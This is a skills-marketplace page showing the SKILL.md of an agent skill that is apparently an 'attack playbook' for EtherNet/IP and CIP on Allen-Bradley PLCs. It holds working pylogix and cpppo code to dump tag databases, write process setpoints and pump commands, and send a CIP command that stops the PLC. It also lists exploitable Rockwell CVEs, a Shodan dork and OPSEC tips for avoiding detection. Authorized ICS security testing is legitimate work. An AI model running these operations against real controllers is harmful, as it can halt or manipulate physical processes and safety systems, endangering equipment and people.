Skip to main content

enip-cip

EtherNet/IP + CIP (TCP 44818 / UDP 2222) attack playbook — List Identity broadcast, pylogix tag-database dump, tag read/write on Allen-Bradley ControlLogix/CompactLogix, CIP Forward Open, PLC mode change (Stop/Run), and historical Rockwell auth-bypass CVEs. North American ICS dominant protocol.

설치로 이동

소스 정보

저장소
BitterSecurity/Decepticon
최근 소스 활동
2026년 5월 30일 11:42
감지된 SKILL.md 언어
영어
스타
5,611
포크
1,061

설치 방법

기본적으로 소스를 먼저 확인하는 Prompt가 선택됩니다. 직접 명령으로 전환하거나 로컬 사본을 다운로드할 수도 있습니다.

소스 파일 검토

설치 여부를 결정하기 전에 SKILL.md와 SkillsMP에 표시된 보조 파일을 읽어 보세요.

SKILL.md 표시 중

SKILL.md
소스 지침 · 읽기 전용 미리보기
name
enip-cip
description
EtherNet/IP + CIP (TCP 44818 / UDP 2222) attack playbook — List Identity broadcast, pylogix tag-database dump, tag read/write on Allen-Bradley ControlLogix/CompactLogix, CIP Forward Open, PLC mode change (Stop/Run), and historical Rockwell auth-bypass CVEs. North American ICS dominant protocol.
allowed-tools
Bash Read Write
metadata
{"when_to_use":"ethernet/ip ethernetip enip cip 44818 2222 allen-bradley rockwell controllogix compactlogix pylogix cpppo plc tag list-identity forward-open","subdomain":"ics-ot","tags":"enip, cip, ethernet-ip, plc, ics, ot, allen-bradley, rockwell","mitre_attack":"T0855, T0836, T0816, T0814"}
# EtherNet/IP + CIP Attack Playbook (TCP 44818 / UDP 2222) EtherNet/IP is the dominant North American ICS protocol — every Allen-Bradley ControlLogix, CompactLogix, and MicroLogix ships with it enabled by default. CIP (Common Industrial Protocol) rides on top. Most deployments have no authentication at the CIP layer: if you can reach TCP 44818, you can read the full tag database and, in scope, write to process variables or change PLC execution state. ## SAFETY FIRST CIP write operations (`Write()` on tags) and mode-change commands (`Stop`, `Run`, `Reset`) affect physical process equipment. A mode-change to `Stop` immediately halts the PLC program — the controlled process (conveyor, motor, pump, valve) goes to its fail-safe state or de-energizes. **Confirm written scope authorization for any write/control-class operation. Read and enumerate operations (tag list, controller info, identity) are safe.** ## Prerequisites ```bash # Install pylogix (Allen-Bradley EtherNet/IP client) pip install pylogix # Install cpppo (Rockwell EtherNet/IP / CIP toolkit) pip install cpppo # nmap EtherNet/IP scripts # Built-in: enip-info.nse (ships with Nmap >= 7.80) nmap -p 44818 --open -sV 10.0.0.0/24 ``` ## Phase 1 — Discover ### UDP 2222 List Identity broadcast UDP 2222 carries the ENIP "List Identity" command — no session, no authentication. Send a broadcast and all EtherNet/IP devices on the subnet respond with vendor, product name, serial number, firmware revision, and IP. ```bash # Using cpppo enip command-line python3 -m cpppo.server.enip.list_identity 10.0.0.255 # Or unicast: python3 -m cpppo.server.enip.list_identity 10.0.0.5 # Example output: # {'product_name': 'ControlLogix5580', 'vendor_id': 1, 'device_type': 14, # 'product_code': 166, 'revision': {'major': 33, 'minor': 11}, # 'serial_number': '0xA1B2C3D4', 'status': 12340} ``` ```bash # nmap enip-info script (TCP 44818) nmap -p 44818 --script enip-info 10.0.0.5 # Returns: VendorID, DeviceType, ProductCode, Revision, Serial, ProductName, State ``` ```python # pylogix PLC info — TCP 44818 from pylogix import PLC with PLC() as comm: comm.IPAddress = "10.0.0.5" info = comm.GetPLCTime() print("PLC time:", info.Value) props = comm.GetModuleProperties(0) print("Module:", props.Value) ``` ## Phase 2 — Tag database enumeration (unauthenticated on ControlLogix/CompactLogix) ControlLogix and CompactLogix expose the entire controller tag database via CIP symbolic segment reads — no authentication required. This includes tag names, data types, dimensions, and access attributes. ```python from pylogix import PLC with PLC() as comm: comm.IPAddress = "10.0.0.5" # Enumerate all controller-scoped tags tags = comm.GetTagList() print(f"[*] Found {len(tags.Value)} controller tags") for tag in tags.Value: print(f" {tag.TagName:<40} Type={tag.DataType:<20} Dim={tag.Dimensions}") # Enumerate program-scoped tags (programs inside the controller) programs = comm.GetProgramList() for prog in programs.Value: prog_tags = comm.GetProgramTagList(prog) print(f"\n[*] Program '{prog}': {len(prog_tags.Value)} tags") for tag in prog_tags.Value: print(f" {prog}:{tag.TagName:<36} Type={tag.DataType}") ``` Tag names are often self-describing in production environments: - `PumpStation_1.RunCmd` — pump run command coil - `Valve_FV_101.OpenCmd` — valve open command - `Reactor_TIC_201.SP` — temperature setpoint - `Safety_SIL2.BypassActive` — safety interlock bypass flag ## Phase 3 — Read tags ```python from pylogix import PLC with PLC() as comm: comm.IPAddress = "10.0.0.5" # Read a single tag result = comm.Read("PumpStation_1.RunCmd") print(f"PumpStation_1.RunCmd = {result.Value} (Status: {result.Status})") # Read multiple tags in one request (efficient) tag_list = [ "Reactor_TIC_201.SP", "Reactor_TIC_201.PV", "Valve_FV_101.OpenCmd", "Safety_SIL2.BypassActive", ] results = comm.Read(tag_list) for r in results: print(f" {r.TagName} = {r.Value} Status={r.Status}") # Read array elements array_result = comm.Read("RecipeArray[0]", 10) # read 10 elements from index 0 print("Recipe[0:10]:", array_result.Value) ``` ## Phase 4 — Write tags (SAFETY GATE — write-class authorization required) > **STOP. Confirm written scope authorization before this phase.** > Writing process control tags may energize/de-energize actuators immediately. ```python from pylogix import PLC # Write a BOOL tag with PLC() as comm: comm.IPAddress = "10.0.0.5" # Example: write a setpoint — requires authorization result = comm.Write("Reactor_TIC_201.SP", 85.0) print(f"Write SP: {result.Status}") # Example: write a BOOL control tag — requires authorization result = comm.Write("PumpStation_1.RunCmd", 1) print(f"Write RunCmd: {result.Status}") ``` Write status codes: `Success` = write accepted by PLC; `PathSegmentError` = bad tag name; `ServiceError` = PLC in Program mode or inhibited. ## Phase 5 — CIP mode change: Stop / Run / Reset Mode change via CIP is a direct PLC execution-state change. Stop halts the ladder/function-block program. Reset is a cold restart. ```python import cpppo from cpppo.server.enip import client # CIP explicit messaging to change PLC mode # Rockwell ControlLogix CIP Service 0x0F (Set Attribute Single) # Object: 0x01 (Identity Object), Instance 1, Attribute 10 (Controller State) # Mode: 0x01 = Run, 0x02 = Program (Stop) def set_plc_mode(ip, mode_val, port=44818): """ mode_val: 0x01 = Run, 0x02 = Program (effectively Stop) Requires write-class scope authorization. """ operations = [ { "method": "set_attribute_single", "path": "@0x01/1/10", "data": [mode_val], } ] with client.connector(host=ip, port=port) as conn: for op in operations: conn.set_attribute_single( path=op["path"], data=op["data"], ) conn.collect(timeout=2) print(f"Mode change to {mode_val:#04x} sent") # set_plc_mode("10.0.0.5", 0x02) # Stop (Program mode) — halts PLC program # set_plc_mode("10.0.0.5", 0x01) # Run ``` Alternatively, pylogix provides a direct wrapper: ```python with PLC() as comm: comm.IPAddress = "10.0.0.5" # Some pylogix versions expose: comm.GetPLCTime() # verify connectivity first # comm.Write("_RunMode", 0) # vendor-specific; verify tag exists first ``` ## Phase 6 — Historical Rockwell auth-bypass CVEs | CVE | Product | Description | CVSS | |---|---|---|---| | CVE-2021-27478 | Studio 5000 Logix Designer | Unauth remote code execution via CIP messaging | 10.0 | | CVE-2022-1159 | Rockwell Automation FactoryTalk | Executable injection via DLL hijack path | 7.7 | | CVE-2023-3595 | ControlLogix 1756 (firmware <= 33.011) | Path traversal in CIP service; unauthenticated firmware read/write | 9.8 | | CVE-2023-3596 | GuardLogix 1756 | Same family — safety controller variant | 9.8 | | CVE-2024-6242 | ControlLogix 1756 | CIP Trusted Slot mechanism bypass — pivot between chassis slots | 8.4 | CVE-2023-3595 / 3596 (Claroty "LogiSploit") is the most relevant for live engagements — unauthenticated firmware upload/download against unpatched ControlLogix. Patch check: ```python # Firmware version from pylogix with PLC() as comm: comm.IPAddress = "10.0.0.5" props = comm.GetModuleProperties(0) print("Firmware:", props.Value) # Compare against Rockwell Security Advisory RLSA-2023-0026 # Affected: < v33.012 (1756-EN2* family) ``` ## Common findings | Finding | MITRE | Impact | |---|---|---| | Internet-exposed EtherNet/IP (Shodan: port:44818) | T0882 | Direct PLC access from internet | | No CIP authentication — tag list readable | T0855 | Full process variable visibility | | Tag write accepted without auth | T0836 | Direct process manipulation | | PLC mode change accepted (Stop) | T0816 | Halt production line | | Flat IT/OT VLAN — office → PLC direct | T0814 | Lateral movement from compromised workstation | | Unpatched ControlLogix (CVE-2023-3595) | T0839 | Firmware read/write, persistent implant | | Safety PLC (GuardLogix) reachable | T0857 | Safety system manipulation | ## Evidence ```python kg_add_node( kind="finding", label="EtherNet/IP unauthenticated tag access", props={ "key": f"enip-cip-anon::{target_ip}", "protocol": "enip-cip", "port": 44818, "product_name": "<ProductName>", "firmware_revision": "<major.minor>", "tag_count": len(tags.Value), "writable": False, # set True only after confirmed write-scope "source": "pylogix-taglist", }, ) ``` ## ZFP (two-method evidence) 1. `pylogix GetTagList()` output showing tag count + representative tag names with data types. 2. `pylogix Read()` result for at least one process variable showing a live value (e.g., temperature, pressure, motor state). If write testing was authorized: include `Write()` result showing `Status=Success` and a Read back confirming value change. ## OPSEC notes - EtherNet/IP has no built-in audit log at the CIP layer. Tag reads are silent to most OT security platforms unless a Nozomi/Claroty NDR is deployed with flow-level inspection. - High-frequency polling (e.g., reading all tags in a tight loop) is detectable as anomalous traffic volume. Space enumeration reads out. - Mode-change commands (Stop/Program) generate an event in the PLC's event log (RSLogix Diagnostics > General Fault). This persists across power cycles. - Shodan regularly indexes internet-facing EtherNet/IP; pre-engagement Shodan search for the target's IP space can reveal exposure level before active scanning. - CVE-2023-3595 exploit PoC (Claroty): confirm firmware version before using; firmware write is destructive and may brick the controller. ## References - pylogix — github.com/dmroeder/pylogix - cpppo — github.com/pjkundert/cpppo - ODVA EtherNet/IP and CIP Specifications — odva.org - Claroty Team82 "LogiSploit" (CVE-2023-3595/3596) — claroty.com/team82 - CVE-2024-6242 Rockwell Trusted Slot bypass — icsadvisory.ot-security.io - ICS-CERT Rockwell advisories — cisa.gov/uscert/ics/advisories - "Exploiting Industrial Control Systems" — Reid Wightman, S4 Conference - Shodan dork reference — https://www.shodan.io/search?query=port%3A44818
GitHub에서 보기